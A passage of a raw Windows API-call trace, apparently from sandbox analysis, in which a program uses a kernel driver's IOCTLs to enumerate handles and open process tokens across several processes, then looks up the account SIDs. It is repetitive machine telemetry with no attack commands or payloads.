DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002018270, HandleInformation=0x0) returned 0x0 [0113.890] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.890] PsReleaseProcessExitSynchronization () returned 0x2 [0113.890] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0113.890] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.890] ObfDereferenceObject (Object=0xfffffa8002018270) returned 0x1 [0113.890] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.890] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.890] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.890] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.890] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.890] PsAcquireProcessExitSynchronization () returned 0x0 [0113.890] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880055905d0) [0113.890] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.890] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.890] PsReleaseProcessExitSynchronization () returned 0x2 [0113.890] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0113.890] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.890] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.890] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.890] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.891] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3a4) returned 0xc0 [0113.891] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.891] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002015b30, HandleInformation=0x0) returned 0x0 [0113.891] ObOpenObjectByPointer (in: Object=0xfffffa8002015b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.891] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x12 [0113.891] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0113.891] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.891] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.891] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.891] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.892] CloseHandle (hObject=0xc8) returned 1 [0113.892] CloseHandle (hObject=0xc0) returned 1 [0113.892] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.892] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.892] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.892] PsAcquireProcessExitSynchronization () returned 0x0 [0113.892] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880055905d0) [0113.892] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800201ae00, HandleInformation=0x0) returned 0x0 [0113.892] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.892] PsReleaseProcessExitSynchronization () returned 0x2 [0113.892] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0113.893] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.893] ObfDereferenceObject (Object=0xfffffa800201ae00) returned 0x1 [0113.893] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.893] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.893] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0113.893] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.893] PsAcquireProcessExitSynchronization () returned 0x0 [0113.893] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880055905d0) [0113.893] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002015170, HandleInformation=0x0) returned 0x0 [0113.893] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.893] PsReleaseProcessExitSynchronization () returned 0x2 [0113.893] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0113.893] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.893] ObfDereferenceObject (Object=0xfffffa8002015170) returned 0x1 [0113.893] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.893] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.893] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.893] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.893] PsAcquireProcessExitSynchronization () returned 0x0 [0113.893] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880055905d0) [0113.893] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.893] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.893] PsReleaseProcessExitSynchronization () returned 0x2 [0113.893] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0113.893] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.893] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.893] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.893] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.893] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x54c) returned 0xc0 [0113.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.894] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020485e0, HandleInformation=0x0) returned 0x0 [0113.894] ObOpenObjectByPointer (in: Object=0xfffffa80020485e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.894] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x12 [0113.894] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0113.894] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.894] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.894] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.894] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.895] CloseHandle (hObject=0xc8) returned 1 [0113.895] CloseHandle (hObject=0xc0) returned 1 [0113.896] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.896] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.896] PsAcquireProcessExitSynchronization () returned 0x0 [0113.896] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880055905d0) [0113.896] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002048d00, HandleInformation=0x0) returned 0x0 [0113.896] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.896] PsReleaseProcessExitSynchronization () returned 0x2 [0113.896] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0113.896] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.896] ObfDereferenceObject (Object=0xfffffa8002048d00) returned 0x1 [0113.896] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.896] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.896] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0113.896] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.896] PsAcquireProcessExitSynchronization () returned 0x0 [0113.896] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880055905d0) [0113.896] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800204eca0, HandleInformation=0x0) returned 0x0 [0113.896] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.896] PsReleaseProcessExitSynchronization () returned 0x2 [0113.896] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0113.896] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.896] ObfDereferenceObject (Object=0xfffffa800204eca0) returned 0x1 [0113.896] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.896] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.896] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.897] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.897] PsAcquireProcessExitSynchronization () returned 0x0 [0113.897] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880055905d0) [0113.897] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.897] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.897] PsReleaseProcessExitSynchronization () returned 0x2 [0113.897] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0113.897] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.897] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.897] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.897] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.897] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x220) returned 0xc0 [0113.897] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.897] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001fc6060, HandleInformation=0x0) returned 0x0 [0113.897] ObOpenObjectByPointer (in: Object=0xfffffa8001fc6060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.897] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x12 [0113.897] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0113.897] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.897] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.897] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.897] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.899] CloseHandle (hObject=0xc8) returned 1 [0113.899] CloseHandle (hObject=0xc0) returned 1 [0113.899] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.899] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.899] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.899] PsAcquireProcessExitSynchronization () returned 0x0 [0113.899] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880055905d0) [0113.899] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800204e730, HandleInformation=0x0) returned 0x0 [0113.899] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.899] PsReleaseProcessExitSynchronization () returned 0x2 [0113.899] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0113.899] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.899] ObfDereferenceObject (Object=0xfffffa800204e730) returned 0x1 [0113.899] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.899] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.899] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.899] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0113.899] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.899] PsAcquireProcessExitSynchronization () returned 0x0 [0113.899] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880055905d0) [0113.899] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800205dbb0, HandleInformation=0x0) returned 0x0 [0113.899] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.899] PsReleaseProcessExitSynchronization () returned 0x2 [0113.899] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0113.899] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.899] ObfDereferenceObject (Object=0xfffffa800205dbb0) returned 0x1 [0113.899] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.900] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.900] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.900] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.900] PsAcquireProcessExitSynchronization () returned 0x0 [0113.900] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880055905d0) [0113.900] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.900] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.900] PsReleaseProcessExitSynchronization () returned 0x2 [0113.900] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0113.900] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.900] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.900] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.900] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.900] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x248) returned 0xc0 [0113.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.900] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002065b30, HandleInformation=0x0) returned 0x0 [0113.900] ObOpenObjectByPointer (in: Object=0xfffffa8002065b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.900] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x12 [0113.900] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0113.900] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.900] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.900] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.900] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, 